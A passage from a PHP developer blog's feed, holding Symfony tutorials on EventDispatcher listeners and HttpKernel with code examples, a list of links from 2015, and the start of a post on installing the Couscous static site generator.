<p>For example <code>SensioFrameworkExtraBundle</code> has a <code>ControllerListener</code> that parses
the controller annotations at this point.</p>

<h3 id="kernel-view">Kernel View</h3>

<p>Listeners that registered for <code>kernel.view</code> can modify the Response object.</p>

<p>For example <code>SensioFrameworkExtraBundle</code> has a <code>TemplateListener</code> that uses <code>@Template</code>
annotation: controllers only need to return an array and the listener will create
a response using <a href="http://twig.sensiolabs.org/">Twig</a> (it will pass the array as
Twig parameters).</p>

<h3 id="kernel-response">Kernel Response</h3>

<p>Listeners that registered for <code>kernel.response</code> can modify the Response object.</p>

<p>Out of the box there's a <code>ResponseListener</code> regitered which sets some Response
headers according to the Request's one.</p>

<h3 id="kernel-terminate">Kernel Terminate</h3>

<p>Listeners that registered for <code>kernel.terminate</code> can execute actions after the
Response has been served (if our web server uses FastCGI).</p>

<p>An example of a custom Listener could be one that rollsback a database transaction,
when running in test environment:</p>

<pre><code class="php">&lt;?php

namespace AppBundle\EventListener\Pomm;

use PommProject\Foundation\QueryManager\QueryManagerInterface;
use Symfony\Component\HttpKernel\Event\PostResponseEvent;

class RollbackListener
{
    /**
     * @var QueryManagerInterface
     */
    private $queryManager;

    /**
     * @param QueryManagerInterface $queryManager
     */
    public function __construct(QueryManagerInterface $queryManager)
    {
        $this-&gt;queryManager = $queryManager;
    }

    /**
     * @param PostResponseEvent $event
     */
    public function onKernelTerminate(PostResponseEvent $event)
    {
        $this-&gt;queryManager-&gt;query('ROLLBACK');
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: We'll se later how to register this listener only for test environment.</p>
</blockquote>

<h3 id="kernel-exception">Kernel Exception</h3>

<p>Listeners that registered for <code>kernel.exception</code> can catch an exception and generate
an appropriate Response object.</p>

<p>An example of a custom Listener could be one that logs debug information and generates
a 500 Response:</p>

<pre><code class="php">&lt;?php

namespace AppBundle\EventListener;

use Psr\Log\LoggerInterface;
use Ramsey\Uuid\Uuid;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpKernel\Event\GetResponseForExceptionEvent;

class ExceptionListener
{
    /**
     * @var LoggerInterface
     */
    private $logger;

    /**
     * @param LoggerInterface $logger
     */
    public function __construct(LoggerInterface $logger)
    {
        $this-&gt;logger = $logger;
    }

    /**
     * @param GetResponseForExceptionEvent $event
     */
    public function onKernelException(GetResponseForExceptionEvent $event)
    {
        $exception = $event-&gt;getException();
        $token = Uuid::uuid4()-&gt;toString();
        $this-&gt;logger-&gt;critical(
            'Caught PHP Exception {class}: "{message}" at {file} line {line}',
            array(
                'class' =&gt; get_class($exception),
                'message' =&gt; $exception-&gt;getMessage(),
                'file' =&gt; $exception-&gt;getFile(),
                'line' =&gt; $exception-&gt;getLine()
                'exception' =&gt; $exception,
                'token' =&gt; $token
            )
        );
        $event-&gt;setResponse(new Response(
            json_encode(array(
                'error' =&gt; 'An error occured, if it keeps happening please contact an administrator and provide the following token: '.$token,
            )),
            500,
            array('Content-Type' =&gt; 'application/json'))
        );
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: <a href="https://benramsey.com/projects/ramsey-uuid/">Ramsey UUID</a> is used
  here to provide a unique token that can be referred to.</p>
</blockquote>

<h2 id="conclusion">Conclusion</h2>

<p>EventDispatcher is another example of a simple yet powerful Symfony component.
HttpKernel uses it to configure a standard "Symfony application", but also to
allow us to change its behaviour.</p>

<p>In this article we've seen the basics and how it works behind the hood when used
by HttpKernel, but we could create our own event and dispatch it to make our
own code "Open for extension, but Close to modification"
(<a href="https://blog.8thlight.com/uncle-bob/2014/05/12/TheOpenClosedPrinciple.html">Open/Close principle</a>).</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[The Ultimate Developer Guide to Symfony - HTTP Kernel]]></title>
            <link href="/2016/02/03/ultimate-symfony-http-kernel.html"/>
            <updated>2016-02-03T00:00:00+00:00</updated>
            <id>/2016/02/03/ultimate-symfony-http-kernel.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Reference</strong>: This article is intended to be as complete as possible and is
  kept up to date.</p>
  
  <p><strong>TL;DR</strong>: <code>$response = $httpKernel-&gt;handle($request);</code></p>
</blockquote>

<p><a href="http://symfony.com">Symfony</a> provides many standalone libraries (also known as
"Components") that help us build applications.</p>

<p>In this guide we'll see the main ones that allow us to build an application:</p>

<ul>
<li>HTTP Kernel and HTTP Foundation</li>
<li><a href="/2016/02/10/ultimate-symfony-event-dispatcher.html">Event Dispatcher</a></li>
<li><a href="/2016/02/17/ultimate-symfony-routing.html">Routing and YAML</a></li>
<li><a href="/2016/02/24/ultimate-symfony-dependency-injection.html">Dependency Injection</a></li>
<li><a href="/2016/03/02/ultimate-symfony-console.html">Console</a></li>
</ul>

<p>We'll also see how HttpKernel enables reusable code with <a href="/2016/03/09/ultimate-symfony-bundle.html">Bundles</a>,
and the different ways to organize our application <a href="/2016/03/16/ultimate-symfony-skeleton.html">tree directory</a>.</p>

<p>Finally we'll finish by putting all this knowledge in practice by creating a
"fortune" project with:</p>

<ul>
<li><a href="/2016/03/24/ultimate-symfony-api-example.html">an endpoint that allows us to submit new fortunes</a></li>
<li><a href="/2016/03/30/ultimate-symfony-web-example.html">a page that lists all fortunes</a></li>
<li><a href="/2016/04/06/ultimate-symfony-cli-example.html">a command that prints the last fortune</a></li>
</ul>

<h2 id="http-kernel">HTTP kernel</h2>

<p>Symfony provides a <a href="http://symfony.com/doc/current/components/http_kernel/introduction.html">HttpKernel component</a>
which follows the HTTP protocol: it converts a <code>Request</code> into a <code>Response</code>.</p>

<p>It all revolves around the following interface:</p>

<pre><code class="php">&lt;?php

namespace Symfony\Component\HttpKernel;

use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;

interface HttpKernelInterface
{
    const MASTER_REQUEST = 1;
    const SUB_REQUEST = 2;

    /**
     * @param Request $request
     * @param int     $type
     * @param bool    $catch   Whether to catch exceptions or not
     *
     * @return Response
     */
    public function handle(Request $request, $type = self::MASTER_REQUEST, $catch = true);
}
</code></pre>

<h2 id="httpfoundation">HttpFoundation</h2>

<p>HttpKernel relies on the <a href="http://symfony.com/doc/current/components/http_foundation/introduction.html">HttpFoundation component</a>
which mainly provides:</p>

<ul>
<li><code>Request</code>: wraps <code>$_GET</code>, <code>$_POST</code>, <code>$_COOKIE</code>, <code>$_FILES</code> and <code>$_SERVER</code></li>
<li><code>Response</code>: wraps <code>header()</code> and <code>setcookie()</code>, but also displays the content</li>
</ul>

<blockquote>
  <p><strong>Note</strong>: Global variables have the drawback to be possibly accessed by many
  functions, causing their state to be unpredictable (hence bugs happen and they
  are hard to find/understand).</p>
  
  <p>With HttpFoundation, <a href="http://php.net/manual/en/language.variables.superglobals.php">PHP super globals</a>
  shouldn't be accessed directly, but rather via the objects that wraps them
  (e.g. <code>Request</code>) which are passed around (those objects are not global).</p>
</blockquote>

<p>Here's a typical usage:</p>

<pre><code class="php">$request = Request::createFromGlobals();
$response = $httpKernel-&gt;handle($request);
$reponse-&gt;send();
</code></pre>

<p>In the above example, <code>Request</code> will be initialized using PHP super globals.
Sometimes it can be useful to build it with our own provided values (e.g. for tests):</p>

<pre><code class="php">$uri = '/v1/items';
$method = 'POST';
$parameters = array(); // GET or POST parameters, usually left unused (use uri and content instead)
$cookies = array();
$files = array();
$headers = array('CONTENT_TYPE' =&gt; 'application/json');
$content = json_encode(array('name' =&gt; 'Arthur Dent'));

$request = Request::create($uri, $method, $getOrPostParameters, $cookies, $files, $headers, $content);
</code></pre>

<p>In our application, we'll mainly extract its parameters:</p>

<pre><code class="php">$getParameter = $request-&gt;query-&gt;get('description'); // e.g. from URI `/?description=hitchhicker`
$postParameter = $request-&gt;request-&gt;get('name'); // e.g. from content `name=Arthur`
$header = $request-&gt;headers-&gt;get('Content-Type'); // e.g. from headers `Content-Type: application/x-www-form-urlencoded`

$customParameter = $request-&gt;attributes-&gt;get('_route'); // We'll see more about it in the next article
</code></pre>

<blockquote>
  <p><strong>Note</strong>: Those public properties are instances of <code>Symfony\Component\HttpFoundation\ParameterBag</code>,
  except <code>headers</code> which is an instance of <code>Symfony\Component\HttpFoundation\HeaderBag</code>.</p>
</blockquote>

<p>In our application we'll mainly build <code>Response</code>:</p>

<pre><code class="php">$content = json_encode(array('name' =&gt; 'Arthur Dent'));
$status = 201;
$headers = array('Content-Type' =&gt; 'application/json');

$response = new Reponse($content, $status, $headers);
</code></pre>

<p>HttpFoundation also wraps <code>$_SESSION</code> in a convenient <code>Session</code> object. This one
is however out of the scope of this series, to find more about it have a look at
<a href="/2014/04/23/sf2-sessions-introduction.html">Symfony Session Introduction</a>.</p>

<h2 id="example">Example</h2>

<p>Let's create a small Hello World example:</p>

<pre><code class="php">&lt;?php

use Symfony\Component\HttpKernel\HttpKernelInterface;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;

class HelloWorldHttpKernel implements HttpKernelInterface
{
    public function handle(Request $request, $type = self::MASTER_REQUEST, $catch = true)
    {
        $name = $request-&gt;query-&gt;get('name', 'World');

        return new Response("Hello $name!", 200);
    }
}

$httpKernel = new HelloWorldHttpKernel();

$request = Request::createFromGlobals();
$response = $httpKernel-&gt;handle($request);
$response-&gt;send();
</code></pre>

<p>So we can get the following:</p>

<ul>
<li>for <code>/</code> URL, we get <code>Hello World!</code></li>
<li>for <code>/?name=Arthur</code> URL, we get <code>Hello Arthur!</code></li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>Symfony provides a simple yet powerful component allowing us to follow the HTTP
protocol.</p>

<p>In this article we've seen the basics and how it works behind the hood, but in
an actual application we don't necessarily need to create our own implementation
of <code>HttpKernelInterface</code>.</p>

<p>Indeed there's a <code>Symfony\Component\HttpKernel\Kernel</code> abstract class that can
be used out of the box. It provides many features that we'll explore in the next
articles:</p>

<ul>
<li><a href="/2016/02/10/ultimate-symfony-event-dispatcher.html">Event Dispatcher</a></li>
<li><a href="/2016/02/17/ultimate-symfony-routing.html">Routing and YAML</a></li>
<li><a href="/2016/02/24.ultimate-symfony-dependency-injection.html">Dependency Injection</a></li>
</ul>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Links from 2015]]></title>
            <link href="/2016/01/27/links-from-2015.html"/>
            <updated>2016-01-27T00:00:00+00:00</updated>
            <id>/2016/01/27/links-from-2015.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: Links I tweeted during 2015</p>
</blockquote>

<p>It's funny how old principles are still useful today. In 2015, the most important
ones I've learned are the following:</p>

<ul>
<li>Command/Query Responsibility Segregation (CQRS): separate the "read" logic from
the "write" logic</li>
<li>Event Sourcing (ES): recording every action done for analytics and rollback
purpose</li>
<li>Command Bus: store and validate input in a Command object, pass it to a
Command Bus middleware that will find and execute the appropriate
Command Handler which will execture the logic</li>
<li>Framework / Library agnosticism: decouple from vendors to be able to
change/upgrade them without friction</li>
<li>microservices: reduce the scope of an API, organize them into a communicating network</li>
<li>Monolithic Repository: store related applications in the same git repository</li>
</ul>

<p>It was a year full of links, so here they are!</p>

<h2 id="articles-highlight">Articles Highlight</h2>

<ul>
<li><a href="http://blog.confluent.io/2015/05/27/using-logs-to-build-a-solid-data-infrastructure-or-why-dual-writes-are-a-bad-idea/">Using logs to build a solid data infrastructure, or why dual writes are a bad idea</a></li>
<li><a href="https://codeascraft.com/2015/07/29/targeting-broad-queries-in-search/">Targeting broad queries in search</a></li>
</ul>

<h2 id="tools-highlight">Tools Highlight</h2>

<ul>
<li><a href="http://docs.puli.io/en/latest/">Puli</a>:

<ul>
<li><a href="http://webmozarts.com/2015/01/12/puli-1-0-beta-released/">1.0-beta release</a></li>
<li>Slides: <a href="https://speakerdeck.com/webmozart/puli-phps-next-package-revolution">Pulis, PHP next package revolution</a></li>
<li><a href="http://webmozarts.com/2015/01/14/resource-discovery-with-puli/">Resource discovery</a></li>
<li><a href="http://webmozarts.com/2015/03/20/managing-web-resources-with-puli/">Managing web resources</a></li>
</ul></li>
<li>Refactoring Browser:

<ul>
<li><a href="http://martinfowler.com/articles/refactoringRubicon.html">Refactoring Rubicon</a></li>
<li><a href="https://github.com/QafooLabs/php-refactoring-browser">Qafoo PHP RefactoringBrowser</a></li>
</ul></li>
<li><a href="https://github.com/padraic/humbug">Humbug</a>:

<ul>
<li><a href="http://blog.astrumfutura.com/2015/01/lies-damned-lies-and-code-coverage-towards-mutation-testing/">Code Coverage lies, toward mutation testing</a></li>
<li><a href="http://blog.astrumfutura.com/2015/04/introduction-to-humbug-a-mutation-testing-framework-for-php/">Introduction to Humbug, a mutation testing framework for PHP</a></li>
<li><a href="http://davedevelopment.co.uk/2015/01/07/probing-test-suite-quality-with-mutation-testing.html">Probing test suite quality with mutation testing</a></li>
</ul></li>
<li><a href="https://tactician.thephpleague.com/">Tactician, the PHP Command Bus</a>:

<ul>
<li><a href="http://php-and-symfony.matthiasnoback.nl/2015/01/a-wave-of-command-buses/">A wave of Command Buses</a></li>
<li><a href="http://php-and-symfony.matthiasnoback.nl/2015/01/responsibilities-of-the-command-bus/">Responsibilities of the Command Bus</a></li>
<li><a href="http://php-and-symfony.matthiasnoback.nl/2015/01/from-commands-to-events/">From Commands to Events</a></li>
<li><a href="http://php-and-symfony.matthiasnoback.nl/2015/01/some-questions-about-the-command-bus/">Command Bus FAQ</a></li>
<li><a href="http://php-and-symfony.matthiasnoback.nl/2015/01/collecting-events-and-the-events-aware-command-bus/">Collecting events and the EventsAware Command Bus</a></li>
<li><a href="http://verraes.net/2015/01/messaging-flavours/">Messaging Flavours</a></li>
<li><a href="http://verraes.net/2015/02/form-command-model-validation/">Form Command model validation</a></li>
<li><a href="http://boldradius.com/blog-post/VSQCySkAACcA4k5J/easy-scalability-with-akka">CQRS vs CRUD performances and scalability</a></li>
</ul></li>
<li><a href="http://lnav.org/">The log file navigator</a></li>
<li><a href="https://github.com/ramsey/uuid">UUID</a>:

<ul>
<li><a href="https://philsturgeon.uk/http/2015/09/03/auto-incrementing-to-destruction/">auto incrementing to destruction</a></li>
<li><a href="https://www.clever-cloud.com/blog/engineering/2015/05/20/Why-Auto-Increment-Is-A-Terrible-Idea">Why auto incrementing is a terrible idea</a></li>
</ul></li>
<li>Pomm:

<ul>
<li><a href="http://www.pomm-project.org/news/pomm-2-0-0-is-out.html">Pomm 2.0 is out</a></li>
<li><a href="http://www.pomm-project.org/news/a-short-focus-on-pomm-s-foundation.html">A short focus on Pomm Foundation</a></li>
</ul></li>
</ul>

<h2 id="interesting-talks">Interesting Talks</h2>

<ul>
<li>Monolithic Repository:

<ul>
<li><a href="https://qafoo.com/talks/15_08_froscon_monorepos.pdf">Monolithic Repository</a></li>
<li><a href="http://www.slideshare.net/StenHiedel/symfony-uk-meetup-21-may">How to manage multiple Composer packages within a single respository</a></li>
<li>see also article: <a href="http://sroze.io/2015/09/14/managing-monolith-repositories-with-composers-path-repository/">Managing monolith repositories with composers path repository</a></li>
</ul></li>
<li>Doctrine:

<ul>
<li><a href="https://qafoo.com/talks/15_09_symfony_live_london_doctrine2_to_use_or_not_to_use.pdf">Doctrine: to use or not to use</a></li>
<li><a href="http://ocramius.github.io/blog/doctrine-orm-optimization-hydration/">Doctrine ORM optimization hydration</a></li>
</ul></li>
<li>PHP Interoperability:

<ul>
<li><a href="https://speakerdeck.com/michaelcullum/php-fig-the-psrs-you-dont-know-about">PHP FIG, the PSRs you do not know about</a></li>
<li><a href="http://mnapoli.fr/presentations/psr-0-12/">PSR 0 to 12</a></li>
<li><a href="http://talks.ppi.io/20150513-phpsw">The PHP Interoperability Framework</a></li>
</ul></li>
<li>Desgin:

<ul>
<li><a href="http://www.slideshare.net/mobile/CiaranMcNulty/why-your-test-suite-sucks">Why your test suite sucks</a></li>
<li><a href="https://speakerdeck.com/jakzal/embracing-change">Embracing change</a></li>
<li><a href="http://www.slideshare.net/mobile/CiaranMcNulty/driving-design-through-examples">Driving design through examples</a></li>
<li><a href="http://www.slideshare.net/NicolPignatelli/brownfield-domain-driven-design-48240538">Brownfield Domain Driven Desgin</a></li>
<li><a href="http://www.slideshare.net/matthiasnoback/the-quest-for-global-design-principles">The quest for global design principles</a></li>
<li><a href="http://www.slideshare.net/matthiasnoback/hexagonal-architecture-messageoriented-software-design">Hexagonal architecture, message oriented software design</a></li>
<li><a href="http://moquet.net/talks/phptour-2015">CQRS and Event Sourcing</a></li>
</ul></li>
<li><a href="https://speakerdeck.com/odolbeau/symfony2-killed-me">Symfony killed me</a></li>
<li><a href="https://speakerdeck.com/odolbeau/logs-hunting">Logs hunting</a></li>
<li><a href="http://www.slideshare.net/cakper/2014-0821-symfony-uk-meetup-scaling-symfony2-apps-with-rabbit-mq">Scaling Symofny apps with RabbitMq</a></li>
<li><a href="http://andrewcarteruk.github.io/slides/breaking-boundaries-with-fastcgi-symfony/#/">Breaking boundaries with FastCGI Symfony</a></li>
<li>in french: <a href="https://speakerdeck.com/lyrixx/symfony-live-2015-paris-monitorer-sa-prod">Monitorer sa prod</a></li>
</ul>

<h2 id="tests%3A">Tests:</h2>

<ul>
<li>Test Driven Desing (TDD):

<ul>
<li><a href="http://codurance.com/2015/05/12/does-tdd-lead-to-good-design/">Does TDD lead to good design?</a></li>
<li><a href="https://medium.com/@davidihunt/tdd-and-complexity-1bbd5ca51ee7">TDD and complexity</a></li>
</ul></li>
<li><a href="http://verraes.net/2015/01/economy-of-tests/">Economy of tests</a></li>
<li><a href="http://blog.8thlight.com/dariusz-pasciak/2015/01/12/your-test-suite-is-useless.html">Your test suite is useless</a></li>
<li><a href="https://sites.google.com/site/unclebobconsultingllc/specs-vs-tests">Specs VS Tests</a></li>
<li><a href="http://googletesting.blogspot.co.uk/2015/04/just-say-no-to-more-end-to-end-tests.html">Just say no to more end to end tests</a></li>
<li><a href="http://elnur.pro/testing-is-not-a-choice/">Testing is not a choice</a></li>
<li><a href="http://tech.mybuilder.com/coupling-tests/">Coupling tests</a></li>
<li><a href="https://developer.atlassian.com/blog/2015/05/open-letter-from-an-ignored-test/">Open letter from an ignored test</a></li>
<li><a href="https://cucumber.io/blog/2015/03/24/single-source-of-truth">Single source of truth</a></li>
<li><a href="http://dannorth.net/introducing-bdd/">Introducing BDD</a></li>
<li><a href="http://martinfowler.com/articles/nonDeterminism.html">Eradicating Non-Determinism in Tests</a></li>
</ul>

<h2 id="php-interoperability">PHP Interoperability</h2>

<ul>
<li>PSR 7:

<ul>
<li><a href="https://mwop.net/blog/2015-01-08-on-http-middleware-and-psr-7.html">On HTTP middleware and PSR 7</a></li>
<li><a href="https://mwop.net/blog/2015-01-26-psr-7-by-example.html">PSR 7 by example</a></li>
<li><a href="http://srcmvn.com/blog/2015/02/18/psr-7-and-the-future-of-php/">PSR 7 and the future of PHP</a></li>
<li><a href="http://evertpot.com/psr-7-issues/">PSR 7 issues</a></li>
<li><a href="http://symfony.com/blog/psr-7-support-in-symfony-is-here">PSR 7 support in Symfony is here</a></li>
<li><a href="http://dunglas.fr/2015/06/using-psr-7-in-symfony">Using PSR 7 in Symfony</a></li>
<li><a href="http://blog.madewithlove.be/post/http-client-for-sdks/">HTTP client for SDKs</a></li>
</ul></li>
<li><a href="http://mouf-php.com/psr7-container-interop-equals-cross-framework-module-system">PSR 7 Container Interop = cross framework module system</a></li>
<li><a href="http://mouf-php.com/psr-11-use-cases">PSR 11 use cases</a></li>
<li><a href="http://www.thecodingmachine.com/psr-11-performance-impact-of-the-delegate-lookup-feature/">PSR 11, performance impact of the delegate look-up feature</a></li>
<li><a href="http://blog.phpdeveloper.org/2015/05/22/php-security-psr-9psr-10/">PHP Security PSR 9 and 10</a></li>
<li><a href="https://www.acquia.com/blog/psr-what-shared-standards-bright-future">PSR-What? Shared Standards for a Bright Future</a></li>
</ul>

<h2 id="pet-projects">Pet projects</h2>

<ul>
<li><a href="https://github.com/gnugat/redaktilo/releases/tag/v1.7.0">Redaktilo 1.7</a></li>
<li><a href="https://gist.github.com/gnugat/492a192f9f57c00098b1">Stack middleware to rollback database transactions</a></li>
<li><a href="http://memio.github.io/memio/">Memio</a>:

<ul>
<li><a href="https://github.com/ciaranmcnulty/phpspec-typehintedmethods">its origin</a></li>
<li><a href="https://github.com/memio/spec-gen">SpecGen</a></li>
</ul></li>
<li>Symfony Micro Framework:

<ul>
<li><a href="https://github.com/gnugat/symfony-empty-edition">Symfony Empty Edition</a></li>
<li><a href="https://github.com/gnugat/micro-framework-bundle">MicroFrameworkBundle</a></li>
</ul></li>
</ul>

<h2 id="design-patterns">Design Patterns</h2>

<ul>
<li><a href="http://shawnmc.cool/the-repository-pattern">The Repository pattern</a></li>
<li><a href="http://enterprisecraftsmanship.com/2015/04/13/dto-vs-value-object-vs-poco">DTO vs Value Object vs POCO</a></li>
<li><a href="http://engineering.peertransfer.com/blog/decoupling-logic-architecture-repositories">Decoupling architecture and domain with repositories</a></li>
<li><a href="http://rob.conery.io/2014/03/04/repositories-and-unitofwork-are-not-a-good-idea/">Repositories On Top UnitOfWork Are Not a Good Idea</a></li>
</ul>

<h2 id="microservice">microservice</h2>

<ul>
<li><a href="http://martinfowler.com/bliki/MicroservicePremium.html">Microservice Premium</a></li>
<li><a href="http://martinfowler.com/bliki/MonolithFirst.html">Monolith First</a></li>
<li><a href="http://martinfowler.com/articles/dont-start-monolith.html">Don't start with a monolith</a></li>
<li><a href="http://capgemini.github.io/architecture/is-rest-best-microservices">Is REST best microservices</a></li>
<li><a href="http://martinfowler.com/articles/microservice-trade-offs.html">Microservices trade offs</a></li>
<li><a href="http://blog.christianposta.com/microservices/youre-not-going-to-do-microservices/">You're not going to do microservices</a></li>
</ul>

<h2 id="refactoring">Refactoring</h2>

<ul>
<li><a href="http://martinfowler.com/articles/refactoring-external-service.html">Refactoring external service</a></li>
<li>Refactoring the cat API client:

<ul>
<li><a href="http://php-and-symfony.matthiasnoback.nl/2015/07/refactoring-the-cat-api-client-part-1/">part 1</a></li>
<li><a href="http://php-and-symfony.matthiasnoback.nl/2015/07/refactoring-the-cat-api-client-part-2/">part 2</a></li>
<li><a href="http://php-and-symfony.matthiasnoback.nl/2015/07/refactoring-the-cat-api-client-part-3/">part 3</a></li>
</ul></li>
</ul>

<h2 id="keep-it-simple">Keep it Simple</h2>

<ul>
<li><a href="http://97things.oreilly.com/wiki/index.php/Simplicity_before_generality,_use_before_reuse">Simplicity before generality, use before reuse</a></li>
<li><a href="http://blog.ircmaxell.com/2015/03/thoughts-on-design-of-apis.html">Thoughts on design of APIs</a></li>
<li><a href="http://verraes.net/2014/08/dry-is-about-knowledge/">DRY is about knowledge</a></li>
</ul>

<h2 id="oop">OOP</h2>

<ul>
<li><a href="https://www.thoughtworks.com/insights/blog/composition-vs-inheritance-how-choose">Composition VS inheritance, how to choose</a></li>
<li><a href="http://userpage.fu-berlin.de/~ram/pub/pub_jf47ht81Ht/doc_kay_oop_en">The meaning of Object Oriented Programming</a></li>
</ul>

<h2 id="git">Git</h2>

<ul>
<li><a href="https://akrabat.com/the-beginners-guide-to-rebasing-your-pr/">The beginners guide to rebasing your PR</a></li>
<li><a href="http://jeffkreeftmeijer.com/2010/the-magical-and-not-harmful-rebase/">The magical and not harmful rebase</a></li>
<li><a href="http://blog.rjkip.nl/2015/08/28/gits-interactive-patch-mode/">Git's interractive patch mode</a></li>
<li><a href="http://blog.8thlight.com/makis-otman/2015/07/08/git-disciplined.html">Git disciplined</a></li>
<li><a href="http://zachholman.com/posts/git-commit-history/">Utter Disregard for Git Commit History</a></li>
</ul>

<h2 id="security">Security</h2>

<ul>
<li><a href="http://www.antirez.com/news/96">A few things about Redis security</a></li>
<li><a href="http://blog.slaks.net/2015-10-13/web-authentication-arms-race-a-tale-of-two-security-experts/">The Web Authentication Arms Race – A Tale of Two Security Experts</a></li>
<li><a href="https://paragonie.com/blog/2015/04/secure-authentication-php-with-long-term-persistence">Secure authentication PHP with long term persistence</a></li>
</ul>

<h2 id="postgresql">PostgreSQL</h2>

<ul>
<li>What PostgreSQL has over other Open Source SQL databases:

<ul>
<li><a href="https://www.compose.io/articles/what-postgresql-has-over-other-open-source-sql-databases/">part 1</a></li>
<li><a href="https://www.compose.io/articles/what-postgresql-has-over-other-open-source-sql-databases-part-ii/">part 2</a></li>
</ul></li>
<li><a href="http://rob.conery.io/2014/05/29/a-better-id-generator-for-postgresql/">A better ID generator for PostgreSQL</a></li>
<li><a href="http://hashrocket.com/blog/posts/faster-json-generation-with-postgresql">Faster JSON generation with PostgreSQL</a></li>
<li><a href="http://developer.olery.com/blog/goodbye-mongodb-hello-postgresql/">Goodbye MongoDB, hello PostgreSQL</a></li>
</ul>

<h2 id="rest">REST</h2>

<ul>
<li><a href="http://www.nurkiewicz.com/2015/07/restful-considered-harmful.html">RESTful considered harmful</a></li>
<li><a href="http://www.vinaysahni.com/best-practices-for-a-pragmatic-restful-api">Best practices for a pragmatic RESTful API</a></li>
</ul>

<h2 id="performance">Performance</h2>

<ul>
<li><a href="https://tideways.io/profiler/blog/5-doctrine-orm-performance-traps-you-should-avoid">5 Doctrine ORM performance traps you should avoid</a></li>
<li><a href="https://tideways.io/profiler/blog/essential-macro-optimizations-to-improve-php-performance">Essential macro optimizations to improve PHP performance</a></li>
<li><a href="https://tideways.io/profiler/blog/5-ways-to-optimize-symfony-baseline-performance">5 ways to optimize Symfony baseline performance</a></li>
<li><a href="http://marcjschmidt.de/blog/2014/02/08/php-high-performance.html">PHP high performance</a></li>
<li><a href="http://phpfastcgi.github.io/general/2015/11/04/introducing-phpfastcgi.html">Intproducting PHP FastCGI</a></li>
<li><a href="http://blog.kevingomez.fr/til/2015/07/26/why-is-uniqid-slow/">Why is uniqid slow?</a></li>
</ul>

<h2 id="agile">Agile</h2>

<ul>
<li><a href="http://jelrik.me/blog/2015/10/17/transform-your-standup/">Transform your stand up</a></li>
<li><a href="http://blog.8thlight.com/malcolm-newsome/2015/01/15/they-wont-be-interested.html">They won't be interrested</a></li>
<li><a href="http://blog.cleancoder.com/uncle-bob/2015/04/15/DoesOrganizationMatter.html">Does organization matter</a></li>
<li><a href="http://benjiweber.co.uk/blog/2015/04/17/modern-extreme-programming/">Modern extreme programming</a></li>
<li><a href="http://frankneff.ch/business/2015/04/21/if-pragmatism-raises-technical-debt-call-it-oversimplification/">If pragmatism raises technical debt, call it over simplification</a></li>
<li><a href="http://www.mountaingoatsoftware.com/blog/dont-blindly-follow">Don't blindly follow</a></li>
<li><a href="http://mattbriggs.net/blog/2015/06/01/the-role-of-a-senior-developer/">The role of a senior developer</a></li>
<li><a href="http://blog.toolshed.com/2015/05/the-failure-of-agile.html">The failure of agile</a></li>
<li><a href="http://mikehadlow.blogspot.fr/2014/06/heisenberg-developers.html">Heisenberg developers</a></li>
</ul>

<h2 id="ddd">DDD</h2>

<ul>
<li><a href="http://weronikalabaj.com/to-ddd-or-not-to-ddd-what-to-do-if-your-domain-is-boring/">To DDD or not to DDD, what to do if your domain is boring</a></li>
<li><a href="https://lostechies.com/gabrielschenker/2015/04/16/ddd-revisited/">DDD revisited</a></li>
<li><a href="http://codebetter.com/iancooper/2011/07/15/why-crud-might-be-what-they-want-but-may-not-be-what-they-need/">Why CRUD might be what they want but not what they need</a></li>
</ul>

<h2 id="symfony">Symfony</h2>

<ul>
<li><a href="http://jolicode.com/blog/do-not-use-fosuserbundle">Do not use FOSUserBundle</a></li>
<li><a href="http://mmoreram.github.io/blog/2015/08/20/re-thinking-event-listeners/">Re-thinking event listeners</a></li>
<li><a href="http://thorpesystems.com/blog/tagging-symfony-services">Tagging Symfony services</a></li>
<li><a href="https://www.pmg.com/blog/symfony-from-scratch/">Symfony from scratch</a></li>
<li><a href="http://programmingarehard.com/2015/03/04/structing-my-application.html">Structuring my application</a></li>
<li><a href="http://mmoreram.com/blog/2015/11/20/your-packages-dependencies/">Your package dependencies</a></li>
</ul>

<h2 id="misc">Misc</h2>

<ul>
<li><a href="http://kukuruku.co/hub/programming/do-not-learn-frameworks-learn-the-architecture">Do not learn frameworks, lean the architecture</a></li>
<li><a href="http://blog.8thlight.com/uncle-bob/2015/08/06/let-the-magic-die.html">Let the magic die</a></li>
<li><a href="http://www.levelofindirection.com/journal/2015/5/1/naming-is-hard-or-is-it.html">Naming is hard, or is it?</a></li>
<li><a href="http://www.freeklijten.nl/home/2015/06/24/Setter-anxiety">Setter anxiety</a></li>
<li><a href="http://blog.codinghorror.com/doing-terrible-things-to-your-code/">Doing terrible things to your code</a></li>
<li><a href="http://www.stilldrinking.org/programming-sucks">Programming sucks</a></li>
<li><a href="http://evertpot.com/switching-to-generators/">Switching to generators</a></li>
<li><a href="http://www.vertabelo.com/blog/technical-articles/orms-under-the-hood">ORMs under the hood</a></li>
<li><a href="http://blog.pivotal.io/pivotal-labs/labs/hexagonal-rails-and-the-ludicrous-terminal-application">Hexagonal</a></li>
<li><a href="http://burnout.io/">Burnout</a></li>
<li><a href="http://rosstuck.com/formatting-exception-messages/">Formatting exception messages</a></li>
<li><a href="http://mnapoli.fr/approaching-coding-style-rationally/">Approaching coding style rationally</a></li>
<li><a href="http://blog.frankdejonge.nl/pipelines-immutability-and-privates/">Pipelines, imutability and privates</a></li>
</ul>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Couscous]]></title>
            <link href="/2016/01/20/couscous.html"/>
            <updated>2016-01-20T00:00:00+00:00</updated>
            <id>/2016/01/20/couscous.html</id>
            <content type="html"><![CDATA[<p><a href="http://couscous.io">Couscous</a> is a static site generator tool for your Github projects,
converting all markdown files into an online documentation hosted by
<a href="https://pages.github.com/">Github Pages</a>.</p>

<h2 id="installation">Installation</h2>

<p>The first step is to get the tool:</p>

<pre><code>curl -OS http://couscous.io/couscous.phar
sudo mv ./couscous.phar /usr/loal/bin/couscous
</code></pre>

